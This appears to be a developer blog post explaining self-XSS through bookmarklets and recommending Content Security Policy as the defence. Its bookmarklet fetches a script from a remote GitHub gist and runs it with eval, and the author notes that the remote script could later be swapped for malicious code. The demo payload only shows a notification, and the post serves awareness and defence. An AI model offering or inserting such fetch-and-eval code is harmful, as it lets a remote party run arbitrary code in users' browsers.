How self-xss work in bookmark.
Tags: xss, javascript, bookmark
Published: 2021-05-29 01:39:15

---
title: How self-xss work in bookmark.
published: true
description: How self-xss work in bookmark and how you can prevent it
tags: xss, javascript, bookmark
cover_image: https://source.unsplash.com/eMemmpUojlw
---

On my previous [article](https://dev.to/azrizhaziq/github-on-steroids-3d23), I share on how to add javascript code in bookmark which later user can just click on it and browser will run it. And after published the article, I had another idea of writing this article. Before I share my findings, I would like to share with the audience what is the definition of `Self-XSS`.

> Self-XSS operates by tricking users into **copying and pasting** malicious content into their browsers' web developer console
###### wikipedia


## So let's continue on our example.

1. First let setup our bookmark script. But before you copy the code, let me brief what the code does. 

```js
javascript: ((url) =>
  fetch(url)
    .then((response) => response.text())
    .then((scriptInString) => eval(scriptInString))
    /* .then(scriptInString => new Function(scriptInString)()) */
)(`https://gist.githubusercontent.com/AzrizHaziq/adcfdbf12c3b30b6523495e19f282b58/raw/a959157530b4c282aae0386fda1b3c3b1656bb7d/notify.js`);
```

First we wrap our code in IIFE. Which mean it will execute it right away. Also I used it because, I want to avoid naming a function. Hence, it will make shorter scripts.

Next, we use fetch to trigger **http GET**(pun intended) to our script. Once the http is resolve, we want to convert it to **string**. And finally, since our script is in the form of string, we can **eval**uate it with `eval` or `new Function`.

And the snippet code in [github gist](https://gist.github.com/AzrizHaziq/adcfdbf12c3b30b6523495e19f282b58#file-notify-js) is exactly like below 
```js
// notify.js in gist github
// code copied from https://developer.mozilla.org/en-US/docs/Web/API/notification
// and was changed into iife

(() => {
  // Let's check if the browser supports notifications
  if (!("Notification" in window)) {
    alert("This browser does not support desktop notification");
  }

  // Let's check whether notification permissions have already been granted
  else if (Notification.permission === "granted") {
    // If it's okay let's create a notification
    var notification = new Notification("Hi there!");
  }

  // Otherwise, we need to ask the user for permission
  else if (Notification.permission !== "denied") {
    Notification.requestPermission().then(function (permission) {
      // If the user accepts, let's create a notification
      if (permission === "granted") {
        var notification = new Notification("Hi there!");
      }
    });
  }

  // At last, if the user has denied notifications, and you
  // want to be respectful there is no need to bother them any more.
})()
```

Once you save into bookmark it will look like this:
![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5h77x4u5nm89161d4ap8.png) 

2. Go to https://example.com.
3. Just for the sake of this example, please `allow` notification. Since our script in gist will trigger notification. (For chrome, click the padlock icon in url bar and Allow notification)
4. Click the bookmark that you just create. 
5. If you didn't see the notification then that's mean, I can panic 🤣🤣. If yes, well done you follow the steps correctly 😀.
6. You can block notification, and delete the bookmark too. 

Now of course this example does not have big impact to you, since my objective is to make it interactive. But, I would like to highlight one thing here. 

> Imagine that if let say after a few month or years after I published this article, I can just silently edit my `notify.js` to any nasty code. Anyone who click the bookmark  usually would assume it just the same old script and will fall into my trap. Pretty slick right?

There is also another scenario I want to share. In future, we will have [read & write permission](https://web.dev/browser-fs-access/) in browser. What will happen if you just blindly run a script that you copy and paste? That script may hog your file-size, plant a malware, read sensitive file, and it could be anything else.

## As developer, how do you prevent this
This example work because at time of me writing this article https://example.com doesn't have [CSP protection](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP). CSP is big topic which I'm not an expert. It has a lot of configs and in case this is your first time hearing it, let me try to give a tldr(too long didn't read). 

> Explicitly define what kind of tasks/scrips/images/domain/styles/things that can run/load in your document. (psst: I might be wrong, please correct me 🙂)

For example:
- Let say I'm on https://example.com
- I also specify images to load only from https://unsplash.com. 
- And if there is a request to different domain then it will trigger CSP error in Devtools.

```html
<!-- these should load fine in dom -->  
<img src="https://example.com/static/logo.png"> 
<img src="https://unsplash.com/static/my-image.png"> 

<!-- CSP errors and it will not load -->  
<img src="https://s3.aws.com/bucket...">

// please check the MDN doc as it is more detail example
```

Just in case if you click the bookmark while you are currently in `twitter.com` it will not trigger the notification since `twitter.com` already have CSP layer. And if you want to see how they implement it, you can go to network tool and look at the first downloaded document, then look for `content-security-policy` in response header. You will be surprise to see how long it is.

![twitter CSP](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6ct51pj8xlm2e7b7fz5t.png) 


## In Conclusion.
* Please be aware **copying and pasting** any code from online. Especially obfuscated code.
* Please take you time understand the code. Any term or keyword that you never heard of it just search in MDN or google.


Originally, the idea for this article is coming from [DebugCSS](http://imbrianj.github.io/debugCSS/). After I knew how they implement it and ensure that every user who click it, will always run the latest version, I just write a draft for this article. For you information, while they are using `<style>` and inject to dom, mine was using http get and eval the script.

Image Source: [firmbee](https://unsplash.com/@firmbee)